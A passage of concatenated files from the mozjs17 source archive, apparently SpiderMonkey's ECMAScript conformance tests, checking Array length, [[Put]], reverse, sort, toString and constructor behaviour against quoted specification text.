new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr.length") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr[Math.pow(2,31)-1]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr[Math.pow(2,31)-1]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr.length", (Math.pow(2,31)), eval("var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr.length") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr[Math.pow(2,31)]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr[Math.pow(2,31)]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr.length", (Math.pow(2,31)+1), eval("var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr.length") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr[Math.pow(2,30)-2]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr[Math.pow(2,30)-2]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr.length", (Math.pow(2,30)-1), eval("var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr.length") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.5.2-1.js0000664000175000017500000000354512106270663020526 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.5.2-1.js ECMA Section: Array.length Description: 15.4.5.2 length The length property of this Array object is always numerically greater than the name of every property whose name is an array index. The length property has the attributes { DontEnum, DontDelete }. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.5.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.length"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var A = new Array(); A.length", 0, eval("var A = new Array(); A.length") ); new TestCase( SECTION, "var A = new Array(); A[Math.pow(2,32)-2] = 'hi'; A.length", Math.pow(2,32)-1, eval("var A = new Array(); A[Math.pow(2,32)-2] = 'hi'; A.length") ); new TestCase( SECTION, "var A = new Array(); A.length = 123; A.length", 123, eval("var A = new Array(); A.length = 123; A.length") ); new TestCase( SECTION, "var A = new Array(); A.length = 123; var PROPS = ''; for ( var p in A ) { PROPS += ( p == 'length' ? p : ''); } PROPS", "", eval("var A = new Array(); A.length = 123; var PROPS = ''; for ( var p in A ) { PROPS += ( p == 'length' ? p : ''); } PROPS") ); new TestCase( SECTION, "var A = new Array(); A.length = 123; delete A.length", false , eval("var A = new Array(); A.length = 123; delete A.length") ); new TestCase( SECTION, "var A = new Array(); A.length = 123; delete A.length; A.length", 123, eval("var A = new Array(); A.length = 123; delete A.length; A.length") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.5.1-1.js0000664000175000017500000001065512106270663020525 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.5.1-1.js ECMA Section: [[ Put]] (P, V) Description: Array objects use a variation of the [[Put]] method used for other native ECMAScript objects (section 8.6.2.2). Assume A is an Array object and P is a string. When the [[Put]] method of A is called with property P and value V, the following steps are taken: 1. Call the [[CanPut]] method of A with name P. 2. If Result(1) is false, return. 3. If A doesn't have a property with name P, go to step 7. 4. If P is "length", go to step 12. 5. Set the value of property P of A to V. 6. Go to step 8. 7. Create a property with name P, set its value to V and give it empty attributes. 8. If P is not an array index, return. 9. If A itself has a property (not an inherited property) named "length", andToUint32(P) is less than the value of the length property of A, then return. 10. Change (or set) the value of the length property of A to ToUint32(P)+1. 11. Return. 12. Compute ToUint32(V). 13. For every integer k that is less than the value of the length property of A but not less than Result(12), if A itself has a property (not an inherited property) named ToString(k), then delete that property. 14. Set the value of property P of A to Result(12). 15. Return. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.5.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array [[Put]] (P, V)"; writeHeaderToLog( SECTION + " "+ TITLE); // P is "length" new TestCase( SECTION, "var A = new Array(); A.length = 1000; A.length", 1000, eval("var A = new Array(); A.length = 1000; A.length") ); // A has Property P, and P is not length or an array index new TestCase( SECTION, "var A = new Array(1000); A.name = 'name of this array'; A.name", 'name of this array', eval("var A = new Array(1000); A.name = 'name of this array'; A.name") ); new TestCase( SECTION, "var A = new Array(1000); A.name = 'name of this array'; A.length", 1000, eval("var A = new Array(1000); A.name = 'name of this array'; A.length") ); // A has Property P, P is not length, P is an array index, and ToUint32(p) is less than the // value of length new TestCase( SECTION, "var A = new Array(1000); A[123] = 'hola'; A[123]", 'hola', eval("var A = new Array(1000); A[123] = 'hola'; A[123]") ); new TestCase( SECTION, "var A = new Array(1000); A[123] = 'hola'; A.length", 1000, eval("var A = new Array(1000); A[123] = 'hola'; A.length") ); for ( var i = 0X0020, TEST_STRING = "var A = new Array( " ; i < 0x00ff; i++ ) { if (i === "u".charCodeAt(0) || i === "x".charCodeAt(0)) continue; TEST_STRING += "\'\\"+ String.fromCharCode( i ) +"\'"; if ( i < 0x00FF - 1 ) { TEST_STRING += ","; } else { TEST_STRING += ");" } } var LENGTH = 0x00ff - 0x0020 - 2 /* "u"/"x" exclusions above */; new TestCase( SECTION, TEST_STRING +" A[150] = 'hello'; A[150]", 'hello', eval( TEST_STRING + " A[150] = 'hello'; A[150]" ) ); new TestCase( SECTION, TEST_STRING +" A[150] = 'hello'; A[150]", LENGTH, eval( TEST_STRING + " A[150] = 'hello'; A.length" ) ); // A has Property P, P is not length, P is an array index, and ToUint32(p) is not less than the // value of length new TestCase( SECTION, "var A = new Array(); A[123] = true; A.length", 124, eval("var A = new Array(); A[123] = true; A.length") ); new TestCase( SECTION, "var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A.length", 16, eval("var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A.length") ); for ( var i = 0; i < A.length; i++ ) { new TestCase( SECTION, "var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A[" +i +"]", (i <= 10) ? i : ( i == 15 ? '15' : void 0 ), A[i] ); } // P is not an array index, and P is not "length" new TestCase( SECTION, "var A = new Array(); A.join.length = 4; A.join.length", 1, eval("var A = new Array(); A.join.length = 4; A.join.length") ); new TestCase( SECTION, "var A = new Array(); A.join.length = 4; A.length", 0, eval("var A = new Array(); A.join.length = 4; A.length") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.4-1.js0000664000175000017500000001603312106270663020523 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.3-1.js ECMA Section: 15.4.4.3-1 Array.prototype.reverse() Description: The elements of the array are rearranged so as to reverse their order. This object is returned as the result of the call. 1. Call the [[Get]] method of this object with argument "length". 2. Call ToUint32(Result(1)). 3. Compute floor(Result(2)/2). 4. Let k be 0. 5. If k equals Result(3), return this object. 6. Compute Result(2)k1. 7. Call ToString(k). 8. ToString(Result(6)). 9. Call the [[Get]] method of this object with argument Result(7). 10. Call the [[Get]] method of this object with argument Result(8). 11. If this object has a property named by Result(8), go to step 12; but if this object has no property named by Result(8), then go to either step 12 or step 14, depending on the implementation. 12. Call the [[Put]] method of this object with arguments Result(7) and Result(10). 13. Go to step 15. 14. Call the [[Delete]] method on this object, providing Result(7) as the name of the property to delete. 15. If this object has a property named by Result(7), go to step 16; but if this object has no property named by Result(7), then go to either step 16 or step 18, depending on the implementation. 16. Call the [[Put]] method of this object with arguments Result(8) and Result(9). 17. Go to step 19. 18. Call the [[Delete]] method on this object, providing Result(8) as the name of the property to delete. 19. Increase k by 1. 20. Go to step 5. Note that the reverse function is intentionally generic; it does not require that its this value be an Array object. Therefore it can be transferred to other kinds of objects for use as a method. Whether the reverse function can be applied successfully to a host object is implementation dependent. Note: Array.prototype.reverse allows some flexibility in implementation regarding array indices that have not been populated. This test covers the cases in which unpopulated indices are not deleted, since the JavaScript implementation does not delete uninitialzed indices. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.4.4-1"; var VERSION = "ECMA_1"; var BUGNUMBER="123724"; startTest(); writeHeaderToLog( SECTION + " Array.prototype.reverse()"); var ARR_PROTOTYPE = Array.prototype; new TestCase( SECTION, "Array.prototype.reverse.length", 0, Array.prototype.reverse.length ); new TestCase( SECTION, "delete Array.prototype.reverse.length", false, delete Array.prototype.reverse.length ); new TestCase( SECTION, "delete Array.prototype.reverse.length; Array.prototype.reverse.length", 0, eval("delete Array.prototype.reverse.length; Array.prototype.reverse.length") ); // length of array is 0 new TestCase( SECTION, "var A = new Array(); A.reverse(); A.length", 0, eval("var A = new Array(); A.reverse(); A.length") ); // length of array is 1 var A = new Array(true); var R = Reverse(A); new TestCase( SECTION, "var A = new Array(true); A.reverse(); A.length", R.length, eval("var A = new Array(true); A.reverse(); A.length") ); CheckItems( R, A ); // length of array is 2 var S = "var A = new Array( true,false )"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); // length of array is 3 var S = "var A = new Array( true,false,null )"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); // length of array is 4 var S = "var A = new Array( true,false,null,void 0 )"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); // some array indexes have not been set var S = "var A = new Array(); A[8] = 'hi', A[3] = 'yo'"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); var OBJECT_OBJECT = new Object(); var FUNCTION_OBJECT = new Function( 'return this' ); var BOOLEAN_OBJECT = new Boolean; var DATE_OBJECT = new Date(0); var STRING_OBJECT = new String('howdy'); var NUMBER_OBJECT = new Number(Math.PI); var ARRAY_OBJECT= new Array(1000); var args = "null, void 0, Math.pow(2,32), 1.234e-32, OBJECT_OBJECT, BOOLEAN_OBJECT, FUNCTION_OBJECT, DATE_OBJECT, STRING_OBJECT,"+ "ARRAY_OBJECT, NUMBER_OBJECT, Math, true, false, 123, '90210'"; var S = "var A = new Array("+args+")"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); var limit = 1000; var args = ""; for (var i = 0; i < limit; i++ ) { args += i +""; if ( i + 1 < limit ) { args += ","; } } var S = "var A = new Array("+args+")"; eval(S); var R = Reverse(A); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); var S = "var MYOBJECT = new Object_1( \"void 0, 1, null, 2, \'\'\" )"; eval(S); var R = Reverse( A ); new TestCase( SECTION, S +"; A.reverse(); A.length", R.length, eval( S + "; A.reverse(); A.length") ); CheckItems( R, A ); test(); function CheckItems( R, A ) { for ( var i = 0; i < R.length; i++ ) { new TestCase( SECTION, "A["+i+ "]", R[i], A[i] ); } } function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = eval(this.array[i]); } this.join = Array.prototype.reverse; this.getClass = Object.prototype.toString; } function Reverse( array ) { var r2 = array.length; var k = 0; var r3 = Math.floor( r2/2 ); if ( r3 == k ) { return array; } for ( k = 0; k < r3; k++ ) { var r6 = r2 - k - 1; // var r7 = String( k ); var r7 = k; var r8 = String( r6 ); var r9 = array[r7]; var r10 = array[r8]; array[r7] = r10; array[r8] = r9; } return array; } function Iterate( array ) { for ( var i = 0; i < array.length; i++ ) { // print( i+": "+ array[String(i)] ); } } function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = this.array[i]; } this.reverse = Array.prototype.reverse; this.getClass = Object.prototype.toString; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.1.1.js0000664000175000017500000000434112106270663020356 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.1.1.js ECMA Section: 15.4.1 Array( item0, item1,... ) Description: When Array is called as a function rather than as a constructor, it creates and initializes a new array object. Thus, the function call Array(...) is equivalent to the object creation new Array(...) with the same arguments. An array is created and returned as if by the expression new Array( item0, item1, ... ). Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.1.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof Array(1,2)", "object", typeof Array(1,2) ); new TestCase( SECTION, "(Array(1,2)).toString", Array.prototype.toString, (Array(1,2)).toString ); new TestCase( SECTION, "var arr = Array(1,2,3); arr.toString = Object.prototype.toString; arr.toString()", "[object Array]", eval("var arr = Array(1,2,3); arr.toString = Object.prototype.toString; arr.toString()") ); new TestCase( SECTION, "(Array(1,2)).length", 2, (Array(1,2)).length ); new TestCase( SECTION, "var arr = (Array(1,2)); arr[0]", 1, eval("var arr = (Array(1,2)); arr[0]") ); new TestCase( SECTION, "var arr = (Array(1,2)); arr[1]", 2, eval("var arr = (Array(1,2)); arr[1]") ); new TestCase( SECTION, "var arr = (Array(1,2)); String(arr)", "1,2", eval("var arr = (Array(1,2)); String(arr)") ); test(); function ToUint32( n ) { n = Number( n ); if( isNaN(n) || n == 0 || n == Number.POSITIVE_INFINITY || n == Number.NEGATIVE_INFINITY ) { return 0; } var sign = n < 0 ? -1 : 1; return ( sign * ( n * Math.floor( Math.abs(n) ) ) ) % Math.pow(2, 32); } mozjs17.0.0/js/src/tests/ecma/Array/15.4.5.2-2.js0000664000175000017500000000506412106270663020525 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.5.2-2.js ECMA Section: Array.length Description: 15.4.5.2 length The length property of this Array object is always numerically greater than the name of every property whose name is an array index. The length property has the attributes { DontEnum, DontDelete }. This test verifies that the Array.length property is not Read Only. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.5.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.length"; writeHeaderToLog( SECTION + " "+ TITLE); addCase( new Array(), 0, Math.pow(2,14), Math.pow(2,14) ); addCase( new Array(), 0, 1, 1 ); addCase( new Array(Math.pow(2,12)), Math.pow(2,12), 0, 0 ); addCase( new Array(Math.pow(2,13)), Math.pow(2,13), Math.pow(2,12), Math.pow(2,12) ); addCase( new Array(Math.pow(2,12)), Math.pow(2,12), Math.pow(2,12), Math.pow(2,12) ); addCase( new Array(Math.pow(2,14)), Math.pow(2,14), Math.pow(2,12), Math.pow(2,12) ) // some tests where array is not empty // array is populated with strings for ( var arg = "", i = 0; i < Math.pow(2,12); i++ ) { arg += String(i) + ( i != Math.pow(2,12)-1 ? "," : "" ); } // print(i +":"+arg); var a = eval( "new Array("+arg+")" ); addCase( a, i, i, i ); addCase( a, i, Math.pow(2,12)+i+1, Math.pow(2,12)+i+1, true ); addCase( a, Math.pow(2,12)+5, 0, 0, true ); test(); function addCase( object, old_len, set_len, new_len, checkitems ) { object.length = set_len; new TestCase( SECTION, "array = new Array("+ old_len+"); array.length = " + set_len + "; array.length", new_len, object.length ); if ( checkitems ) { // verify that items between old and newlen are all undefined if ( new_len < old_len ) { var passed = true; for ( var i = new_len; i < old_len; i++ ) { if ( object[i] != void 0 ) { passed = false; } } new TestCase( SECTION, "verify that array items have been deleted", true, passed ); } if ( new_len > old_len ) { var passed = true; for ( var i = old_len; i < new_len; i++ ) { if ( object[i] != void 0 ) { passed = false; } } new TestCase( SECTION, "verify that new items are undefined", true, passed ); } } } mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.js0000664000175000017500000000261412106270663020223 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.js ECMA Section: 15.4.4 Properties of the Array Prototype Object Description: The value of the internal [[Prototype]] property of the Array prototype object is the Object prototype object. Note that the Array prototype object is itself an array; it has a length property (whose initial value is (0) and the special [[Put]] method. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Array Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array.prototype.length", 0, Array.prototype.length ); // verify that prototype object is an Array object. new TestCase( SECTION, "typeof Array.prototype", "object", typeof Array.prototype ); new TestCase( SECTION, "Array.prototype.toString = Object.prototype.toString; Array.prototype.toString()", "[object Array]", eval("Array.prototype.toString = Object.prototype.toString; Array.prototype.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.5-2.js0000664000175000017500000001527012106270663020527 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.5-2.js ECMA Section: Array.prototype.sort(comparefn) Description: This test file tests cases in which the compare function is supplied. In this cases, the sort creates a reverse sort. The elements of this array are sorted. The sort is not necessarily stable. If comparefn is provided, it should be a function that accepts two arguments x and y and returns a negative value if x < y, zero if x = y, or a positive value if x > y. 1. Call the [[Get]] method of this object with argument "length". 2. Call ToUint32(Result(1)). 1. Perform an implementation-dependent sequence of calls to the [[Get]] , [[Put]], and [[Delete]] methods of this object and toSortCompare (described below), where the first argument for each call to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less than Result(2) and where the arguments for calls to SortCompare are results of previous calls to the [[Get]] method. After this sequence is complete, this object must have the following two properties. (1) There must be some mathematical permutation of the nonnegative integers less than Result(2), such that for every nonnegative integer j less than Result(2), if property old[j] existed, then new[(j)] is exactly the same value as old[j],. but if property old[j] did not exist, then new[(j)] either does not exist or exists with value undefined. (2) If comparefn is not supplied or is a consistent comparison function for the elements of this array, then for all nonnegative integers j and k, each less than Result(2), if old[j] compares less than old[k] (see SortCompare below), then (j) < (k). Here we use the notation old[j] to refer to the hypothetical result of calling the [ [Get]] method of this object with argument j before this step is executed, and the notation new[j] to refer to the hypothetical result of calling the [[Get]] method of this object with argument j after this step has been completely executed. A function is a consistent comparison function for a set of values if (a) for any two of those values (possibly the same value) considered as an ordered pair, it always returns the same value when given that pair of values as its two arguments, and the result of applying ToNumber to this value is not NaN; (b) when considered as a relation, where the pair (x, y) is considered to be in the relation if and only if applying the function to x and y and then applying ToNumber to the result produces a negative value, this relation is a partial order; and (c) when considered as a different relation, where the pair (x, y) is considered to be in the relation if and only if applying the function to x and y and then applying ToNumber to the result produces a zero value (of either sign), this relation is an equivalence relation. In this context, the phrase "x compares less than y" means applying Result(2) to x and y and then applying ToNumber to the result produces a negative value. 3.Return this object. When the SortCompare operator is called with two arguments x and y, the following steps are taken: 1.If x and y are both undefined, return +0. 2.If x is undefined, return 1. 3.If y is undefined, return 1. 4.If the argument comparefn was not provided in the call to sort, go to step 7. 5.Call comparefn with arguments x and y. 6.Return Result(5). 7.Call ToString(x). 8.Call ToString(y). 9.If Result(7) < Result(8), return 1. 10.If Result(7) > Result(8), return 1. 11.Return +0. Note that, because undefined always compared greater than any other value, undefined and nonexistent property values always sort to the end of the result. It is implementation-dependent whether or not such properties will exist or not at the end of the array when the sort is concluded. Note that the sort function is intentionally generic; it does not require that its this value be an Array object. Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be applied successfully to a host object is implementation dependent . Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.4.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype.sort(comparefn)"; writeHeaderToLog( SECTION + " "+ TITLE); var S = new Array(); var item = 0; // array is empty. S[item++] = "var A = new Array()"; // array contains one item S[item++] = "var A = new Array( true )"; // length of array is 2 S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )"; S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0"; S[item] = "var A = new Array( "; var limit = 0x0061; for ( var i = 0x007A; i >= limit; i-- ) { S[item] += "\'"+ String.fromCharCode(i) +"\'" ; if ( i > limit ) { S[item] += ","; } } S[item] += ")"; for ( var i = 0; i < S.length; i++ ) { CheckItems( S[i] ); } test(); function CheckItems( S ) { eval( S ); var E = Sort( A ); new TestCase( SECTION, S +"; A.sort(Compare); A.length", E.length, eval( S + "; A.sort(Compare); A.length") ); for ( var i = 0; i < E.length; i++ ) { new TestCase( SECTION, "A["+i+ "].toString()", E[i] +"", A[i] +""); if ( A[i] == void 0 && typeof A[i] == "undefined" ) { new TestCase( SECTION, "typeof A["+i+ "]", typeof E[i], typeof A[i] ); } } } function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = eval(this.array[i]); } this.sort = Array.prototype.sort; this.getClass = Object.prototype.toString; } function Sort( a ) { var r1 = a.length; for ( i = 0; i < a.length; i++ ) { for ( j = i+1; j < a.length; j++ ) { var lo = a[i]; var hi = a[j]; var c = Compare( lo, hi ); if ( c == 1 ) { a[i] = hi; a[j] = lo; } } } return a; } function Compare( x, y ) { if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) { return +0; } if ( x == void 0 && typeof x == "undefined" ) { return 1; } if ( y == void 0 && typeof y == "undefined" ) { return -1; } x = String(x); y = String(y); if ( x < y ) { return 1; } if ( x > y ) { return -1; } return 0; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.2.1-3.js0000664000175000017500000000616412106270663020524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.1-3.js ECMA Section: 15.4.2.1 new Array( item0, item1, ... ) Description: This description only applies of the constructor is given two or more arguments. The [[Prototype]] property of the newly constructed object is set to the original Array prototype object, the one that is the initial value of Array.prototype (15.4.3.1). The [[Class]] property of the newly constructed object is set to "Array". The length property of the newly constructed object is set to the number of arguments. The 0 property of the newly constructed object is set to item0... in general, for as many arguments as there are, the k property of the newly constructed object is set to argument k, where the first argument is considered to be argument number 0. This test stresses the number of arguments presented to the Array constructor. Should support up to Math.pow (2,32) arguments, since that is the maximum length of an ECMAScript array. ***Change TEST_LENGTH to Math.pow(2,32) when larger array lengths are supported. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array( item0, item1, ...)"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = "new Array("; var ARGUMENTS = "" var TEST_LENGTH = Math.pow(2,10); //Math.pow(2,32); for ( var index = 0; index < TEST_LENGTH; index++ ) { ARGUMENTS += index; ARGUMENTS += (index == (TEST_LENGTH-1) ) ? "" : ","; } TEST_STRING += ARGUMENTS + ")"; TEST_ARRAY = eval( TEST_STRING ); for ( var item = 0; item < TEST_LENGTH; item++ ) { new TestCase( SECTION, "TEST_ARRAY["+item+"]", item, TEST_ARRAY[item] ); } new TestCase( SECTION, "new Array( ["+TEST_LENGTH+" arguments] ) +''", ARGUMENTS, TEST_ARRAY +"" ); new TestCase( SECTION, "TEST_ARRAY.toString", Array.prototype.toString, TEST_ARRAY.toString ); new TestCase( SECTION, "TEST_ARRAY.join", Array.prototype.join, TEST_ARRAY.join ); new TestCase( SECTION, "TEST_ARRAY.sort", Array.prototype.sort, TEST_ARRAY.sort ); new TestCase( SECTION, "TEST_ARRAY.reverse", Array.prototype.reverse, TEST_ARRAY.reverse ); new TestCase( SECTION, "TEST_ARRAY.length", TEST_LENGTH, TEST_ARRAY.length ); new TestCase( SECTION, "TEST_ARRAY.toString = Object.prototype.toString; TEST_ARRAY.toString()", "[object Array]", eval("TEST_ARRAY.toString = Object.prototype.toString; TEST_ARRAY.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.2.js0000664000175000017500000000427412106270663020367 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.2.js ECMA Section: 15.4.4.2 Array.prototype.toString() Description: The elements of this object are converted to strings and these strings are then concatenated, separated by comma characters. The result is the same as if the built-in join method were invoiked for this object with no argument. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.4.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array.prototype.toString.length", 0, Array.prototype.toString.length ); new TestCase( SECTION, "(new Array()).toString()", "", (new Array()).toString() ); new TestCase( SECTION, "(new Array(2)).toString()", ",", (new Array(2)).toString() ); new TestCase( SECTION, "(new Array(0,1)).toString()", "0,1", (new Array(0,1)).toString() ); new TestCase( SECTION, "(new Array( Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY)).toString()", "NaN,Infinity,-Infinity", (new Array( Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY)).toString() ); new TestCase( SECTION, "(new Array( Boolean(1), Boolean(0))).toString()", "true,false", (new Array(Boolean(1),Boolean(0))).toString() ); new TestCase( SECTION, "(new Array(void 0,null)).toString()", ",", (new Array(void 0,null)).toString() ); var EXPECT_STRING = ""; var MYARR = new Array(); for ( var i = -50; i < 50; i+= 0.25 ) { MYARR[MYARR.length] = i; EXPECT_STRING += i +","; } EXPECT_STRING = EXPECT_STRING.substring( 0, EXPECT_STRING.length -1 ); new TestCase( SECTION, "MYARR.toString()", EXPECT_STRING, MYARR.toString() ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.2.1-1.js0000664000175000017500000000472712106270663020525 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.1-1.js ECMA Section: 15.4.2.1 new Array( item0, item1, ... ) Description: This description only applies of the constructor is given two or more arguments. The [[Prototype]] property of the newly constructed object is set to the original Array prototype object, the one that is the initial value of Array.prototype (15.4.3.1). The [[Class]] property of the newly constructed object is set to "Array". The length property of the newly constructed object is set to the number of arguments. The 0 property of the newly constructed object is set to item0... in general, for as many arguments as there are, the k property of the newly constructed object is set to argument k, where the first argument is considered to be argument number 0. This file tests the typeof the newly constructed object. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array( item0, item1, ...)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof new Array(1,2)", "object", typeof new Array(1,2) ); new TestCase( SECTION, "(new Array(1,2)).toString", Array.prototype.toString, (new Array(1,2)).toString ); new TestCase( SECTION, "var arr = new Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()", "[object Array]", eval("var arr = new Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()") ); new TestCase( SECTION, "(new Array(1,2)).length", 2, (new Array(1,2)).length ); new TestCase( SECTION, "var arr = (new Array(1,2)); arr[0]", 1, eval("var arr = (new Array(1,2)); arr[0]") ); new TestCase( SECTION, "var arr = (new Array(1,2)); arr[1]", 2, eval("var arr = (new Array(1,2)); arr[1]") ); new TestCase( SECTION, "var arr = (new Array(1,2)); String(arr)", "1,2", eval("var arr = (new Array(1,2)); String(arr)") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.5-3.js0000664000175000017500000000673312106270663020534 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, 